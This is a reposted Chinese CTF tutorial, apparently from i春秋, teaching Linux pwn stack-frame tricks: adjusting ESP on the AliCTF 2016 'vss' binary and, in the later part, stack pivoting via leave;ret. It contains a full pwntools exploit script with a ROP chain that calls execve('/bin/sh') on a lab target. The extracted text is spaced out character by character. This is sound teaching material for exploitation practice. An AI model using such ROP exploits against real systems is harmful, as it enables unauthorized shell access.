搜索

[19508] 2019-07-18_CTF必备技能丨LinuxPwn入门教程——调整栈帧的技巧

文档创建者：s7ckTeam
浏览次数：24
最后更新：2025-01-18
2019-07-18_CTF必备技能丨LinuxPwn入门教程——调整栈帧的技巧 C T F 必 备 技 能 丨 L i n u x   P w n 入 门 教 程 — — 调 整 栈 帧 的 技 巧 i 春 秋   2 0 1 9 - 0 7 - 1 8 L i n u x   P w n 入 门 教 程 系 列 分 享 如 约 而 至 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 前 期 课 程 回 顾 > > L i n u x   P w n 入 门 教 程 第 一 章 ： 环 境 配 置 L i n u x   P w n 入 门 教 程 第 二 章 ： 栈 溢 出 基 础 L i n u x   P w n 入 门 教 程 第 三 章 ： S h e l l C o d e L i n u x   P w n 入 门 教 程 第 四 章 ： R O P 技 术 更 多 更 多 C T F 优 质 课 程 推 荐 优 质 课 程 推 荐 教 程 中 的 题 目 和 脚 本 若 有 使 用 不 妥 之 处 ， 欢 迎 各 位 大 佬 批 评 指 正 。 在 存 在 栈 溢 出 的 程 序 中 ， 有 时 候 我 们 会 碰 到 一 些 栈 相 关 的 问 题 ， 例 如 溢 出 的 字 节 数 太 小 ， A S L R 导 致 的 栈 地 址 不 可 预 测 等 。 针 对 这 些 问 题 ， 我 们 有 时 候 需 要 通 过 g a d g e t s 调 整 栈 帧 以 完 成 攻 击 。 常 用 的 思 路 包 括 加 减 e s p 值 ， 利 用 部 分 溢 出 字 节 修 改 e b p 值 并 进 行 s t a c k   p i v o t 等 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 第 五 章 ： 调 整 栈 帧 的 技 巧 ， 阅 读 用 时 约 1 2 分 钟 。
修 改 修 改 e s p 扩 大 栈 空 间 扩 大 栈 空 间 我 们 先 来 尝 试 一 下 修 改 e s p 扩 大 栈 空 间 。 打 开 例 子 ~ / A l i c t f   2 0 1 6 - v s s / v s s ， 我 们 发 现 这 是 一 个 6 4 位 的 程 序 ， 且 由 于 使 用 静 态 编 译 + s t r i p 命 令 剥 离 符 号 ， 整 个 程 序 看 起 来 比 较 乱 ， 我 们 先 找 到 m a i n 函 数 ： I D A 载 入 后 窗 口 显 示 的 是 代 码 块 s t a r t ， 这 个 结 构 是 固 定 的 ， c a l l 的 函 数 是 _ _ l i b c _ s t a r t _ m a i n ， 上 一 行 的 o f f s e t 则 是 m a i n 函 数 。 进 入 m a i n 函 数 后 ， 我 们 可 以 通 过 s y s c a l l 的 e a x 值 ， 参 数 等 确 定 几 个 函 数 的 名 字 。 s u b _ 4 3 7 4 E 0 使 用 了 调 用 号 是 0 x 2 5 的 s y s c a l l ， 且 F 5 的 结 果 该 函 数 接 收 一 个 参 数 ， 应 该 是 a l a r m 。
s u b _ 4 0 8 8 0 0 字 符 串 单 参 数 ， 且 参 数 被 打 印 到 屏 幕 上 ， 可 以 猜 测 是 p u t s 。 s u b _ 4 3 7 E A 0 调 用 s u b _ 4 3 7 E B D ， 使 用 了 0 号 s y s c a l l ， 且 接 收 三 个 参 数 ， 推 测 为 r e a d 。 分 析 后 的 m a i n 函 数 如 下 ：
被 命 名 为 v e r i f y 的 函 数 内 部 太 过 复 杂 ， 我 们 先 暂 且 放 弃 静 态 分 析 的 尝 试 ， 通 过 向 程 序 中 输 入 大 量 字 符 串 我 们 发 现 程 序 存 在 溢 出 。 将 断 点 下 在 c a l l   r e a d 一 行 ， 我 们 跟 踪 一 下 输 入 的 数 据 的 走 向 。
步 进 v e r i f y 函 数 ， 执 行 到 c a l l   s u b _ 4 0 0 3 3 0 一 行 和 执 行 结 果 ， 推 测 出 s u b _ 4 0 0 3 3 0 是 s t r n c p y (   ) 。

继 续 往 下 执 行 ， 发 现 有 两 个 判 断 ， 判 断 输 入 头 两 个 字 母 是 否 是 p y ， 若 是 则 直 接 退 出 ， 否 则 进 入 一 个 循 环 ， 这 个 循 环 会 以 [ r b p + r a x + d e s t ] 里 的 值 作 为 循 环 次 数 对 从 输 入 开 始 的 每 个 位 异 或 0 x 6 6 。 由 于 循 环 次 数 会 被 修 改 且 变 得 过 大 ， 循 环 最 后 会 因 为 试 图 访 问 没 有 标 志 位 R 的 内 存 页 而 崩 溃 。 r b p + r a x = 0 x 7 F F E 6 C D 1 A 0 4 0 ， 该 地 址 所 在 内 存 页 无 法 访 问 。 因 此 我 们 需 要 改 变 思 路 ， 尝 试 一 下 在 输 入 的 开 头 加 上 “ p y ” ， 这 回 发 现 了 一 个 数 据 可 控 的 栈 溢 出 。 通 过 观 察 数 据 我 们 很 容 易 发 现 被 修 改 的 E I P 是 通 过 s t r n c p y 复 制 到 输 入 前 面 的 0 x 5 0 个 字 节 的 最 后 8 个 。 由 于 没 有 l i b c ， o n e   g a d g e t R C E 使 不 出 来 ， 且 使 用 了 s t r n c p y ， 字 符 串 里 不 能 有 x 0 0 ， 否 则 会 被 当 做 字 符 串 截 断 从 而 无 法 复 制 满 0 x 5 0 字 节 制 造 可 控 溢 出 ， 这 就 意 味 着 任 何 地 址 都 不 能 被 写 在 前 0 x 4 8 个 字 节 中 。 在 这 种 情 况 下 我 们 就 需 要 通 过 修 改 e s p 来 完 成 漏 洞 利 用 。
首 先 ， 尽 管 我 们 有 那 么 多 的 限 制 条 件 ， 但 是 在 m a i n 函 数 中 我 们 看 到 r e a d 函 数 的 参 数 指 明 了 长 度 是 0 x 4 0 0 。 幸 运 的 是 ， r e a d 函 数 可 以 读 取 “ x 0 0 ” 。 这 就 意 味 着 我 们 可 以 把 R O P 链 放 在 0 x 5 0 字 节 之 后 ， 然 后 通 过 增 加 e s p 的 值 把 栈 顶 抬 到 R O P 链 上 。 我 们 搜 索 包 含 a d d   e s p 的 g a d g e t s ， 搜 索 到 了 一 些 结 果 。 通 过 这 个 g a d g e t ， 我 们 成 功 把 e s p 的 值 增 加 到 0 x 5 0 之 后 。 接 下 来 我 们 就 可 以 使 用 熟 悉 的 R O P 技 术 调 用 s y s _ r e a d 读 取 “ / b i n / s h x 0 0 ” 字 符 串 ， 最 后 调 用 s y s _ e x e c v e 了 。 构 建 R O P 链 和 完 整 脚 本 如 下 ：
# ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 f r o m   p w n   i m p o r t   * c o n t e x t . u p d a t e ( a r c h   =   ' a m d 6 4 ' ,   o s   =   ' l i n u x ' ,   t i m e o u t   =   1 ) i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 3 ' ,   1 0 0 0 1 ) p a y l o a d   =   " " p a y l o a d   + =   p 6 4 ( 0 x 6 1 6 1 6 1 6 1 6 1 6 1 7 9 7 0 )     # 头 两 位 为 p y ， 过 检 测 p a y l o a d   + =   ' a ' * 0 x 4 0                                   # p a d d i n g p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 5 )                         # a d d   e s p ,   0 x 5 8 ;   r e t p a y l o a d   + =   ' a ' * 8                                         # p a d d i n g p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   为 s y s _ r e a d 设 置 参 数 p a y l o a d   + = p 6 4 ( 0 x 8 )                                     # r d x   =   8 p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r s i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   为 s y s _ r e a d 设 置 参 数 p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a 9 )                         # m o v   r a x ,   0 ;   s y s c a l l   调 用 s y s _ r e a d p a y l o a d   + =   p 6 4 ( 0 x 4 6 f 2 0 8 )                         # p o p   r a x ;   r e t p a y l o a d   + =   p 6 4 ( 5 9 )                                     # r a x   =   0 x 3 b p a y l o a d   + =   p 6 4 ( 0 x 4 3 a e 2 9 )                         # p o p   r d x ;   p o p   r s i ;   r e t   为 s y s _ e x e c v e 设 置 参 数 p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r d x   =   0 p a y l o a d   + =   p 6 4 ( 0 x 0 )                                   # r s i   =   0 p a y l o a d   + =   p 6 4 ( 0 x 4 0 1 8 2 3 )                         # p o p   r d i ;   r e t   为 s y s _ e x e c v e 设 置 参 数 p a y l o a d   + =   p 6 4 ( 0 x 6 c 7 0 7 9 )                         # r d i   =   0 x 6 c 7 0 7 9 p a y l o a d   + =   p 6 4 ( 0 x 4 3 7 e a e )                         # s y s c a l l p r i n t   i o . r e c v ( ) i o . s e n d ( p a y l o a d ) s l e e p ( 0 . 1 )     # 等 待 程 序 执 行 ， 防 止 出 错 i o . s e n d ( ' / b i n / s h x 0 0 ' ) i o . i n t e r a c t i v e ( )
栈 帧 劫 持 栈 帧 劫 持 s t a c k   p i v o t 通 过 可 以 修 改 e s p 的 g a d g e t 可 以 绕 过 一 些 限 制 ， 扩 大 可 控 数 据 的 字 节 数 ， 但 是 当 我 们 需 要 一 个 完 全 可 控 的 栈 时 这 种 小 把 戏 就 无 能 为 力 了 。 在 系 列 的 前 几 篇 文 章 中 我 们 提 到 过 数 次 A L S R ， 即 地 址 空 间 布 局 随 机 化 。 这 是 一 个 系 统 级 别 的 安 全 防 御 措 施 ， 无 法 通 过 修 改 编 译 参 数 进 行 控 制 ， 且 目 前 大 部 分 主 流 的 操 作 系 统 均 实 现 且 默 认 开 启 A S L R 。 正 如 其 名 ， 在 开 启 A S L R 之 前 ， 一 个 进 程 中 所 有 的 地 址 都 是 确 定 的 ， 不 论 重 复 启 动 多 少 次 ， 进 程 中 的 堆 和 栈 等 的 地 址 都 是 固 定 不 变 的 。 这 就 意 味 着 我 们 可 以 把 需 要 用 到 的 数 据 写 在 堆 栈 上 ， 然 后 直 接 在 脚 本 里 硬 编 码 这 个 地 址 完 成 攻 击 。 例 如 ， 我 们 假 设 有 一 个 没 有 开 N X 保 护 的 ， 有 栈 溢 出 的 程 序 运 行 在 没 有 A S L R 的 系 统 上 。 由 于 没 有 A S L R ， 每 次 启 动 程 序 时 栈 地 址 都 是 0 x 7 f f f 0 0 0 0 ， 那 么 我 们 直 接 写 入 s h e l l c o d e 并 且 利 用 栈 溢 出 跳 转 到 0 x 7 f f f 0 0 0 0 就 可 以 成 功 g e t s h e l l 。 而 当 A S L R 开 启 后 ， 每 次 启 动 程 序 时 的 栈 和 堆 地 址 都 是 随 机 的 ， 也 就 是 说 这 次 启 动 时 是 0 x 7 f f f 0 0 0 0 ， 下 回 可 能 就 是 0 x 7 f f e 0 1 2 0 。 这 时 候 如 果 没 有 j m p   e s p 一 类 的 g a d g e t ， 攻 击 就 会 失 效 ， 而 s t a c k   p i v o t 这 种 技 术 就 是 一 个 对 抗 A S L R 的 利 器 。 s t a c k   p i v o t 之 所 以 重 要 ， 是 因 为 其 利 用 到 的 g a d g e t 几 乎 不 可 能 找 不 到 。 在 函 数 建 立 栈 帧 时 有 两 条 指 令 p u s h   e b p ;   m o v   e b p ,   e s p ， 而 退 出 时 同 样 需 要 消 除 这 两 条 指 令 的 影 响 ， 即 l e a v e ( m o v   e s p ,   e b p ;   p o p   e b p ) 。 且 l e a v e 一 般 紧 跟 着 就 是 r e t 。 因 此 ， 在 存 在 栈 溢 出 的 程 序 中 ， 只 要 我 们 能 控 制 到 栈 中 的 e b p ， 我 们 就 可 以 通 过 两 次 l e a v e 劫 持 栈 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理